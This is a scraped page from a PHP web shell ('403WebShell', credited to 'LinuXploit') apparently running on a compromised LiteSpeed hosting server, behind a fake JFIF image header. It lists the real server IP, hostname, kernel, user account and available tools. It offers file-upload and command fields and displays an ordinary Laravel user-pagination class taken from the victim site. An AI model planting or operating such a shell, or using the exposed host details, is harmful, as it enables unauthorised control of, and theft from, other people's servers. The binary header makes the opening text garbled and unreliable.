����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.220.98.157
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/common/Auth/Actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/common/Auth/Actions/PaginateUsers.php
<?php

namespace Common\Auth\Actions;

use App\User;
use Arr;
use Common\Database\Datasource\MysqlDataSource;
use Illuminate\Database\Eloquent\Builder;

class PaginateUsers
{
    /**
     * @var User
     */
    private $user;

    public function __construct(User $user)
    {
        $this->user = $user;
    }

    public function execute($params): array
    {
        $query = $this->user->newQuery()->with(['roles', 'permissions']);

        if ($roleId = Arr::get($params, 'role_id')) {
            // TODO: refactor this so can reuse elsewhere maybe
            $relation = $query->getModel()->roles();
            $query
                ->leftJoin(
                    $relation->getTable(),
                    $relation->getQualifiedParentKeyName(),
                    '=',
                    $relation->getQualifiedForeignPivotKeyName(),
                )
                ->where(
                    $relation->getQualifiedRelatedPivotKeyName(),
                    '=',
                    $roleId,
                );
            $query->select(['users.*', 'user_role.created_at as created_at']);
        }

        if ($roleName = Arr::get($params, 'role_name')) {
            $query->whereHas('roles', function (Builder $q) use ($roleName) {
                $q->where('roles.name', $roleName);
            });
        }

        if ($permission = Arr::get($params, 'permission')) {
            $query
                ->whereHas('permissions', function (Builder $query) use (
                    $permission
                ) {
                    $query
                        ->where('name', $permission)
                        ->orWhere('name', 'admin');
                })
                ->orWhereHas('roles', function (Builder $query) use (
                    $permission
                ) {
                    $query->whereHas('permissions', function (
                        Builder $query
                    ) use ($permission) {
                        $query
                            ->where('name', $permission)
                            ->orWhere('name', 'admin');
                    });
                });
        }

        return (new MysqlDataSource($query, $params))->paginate()->toArray();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit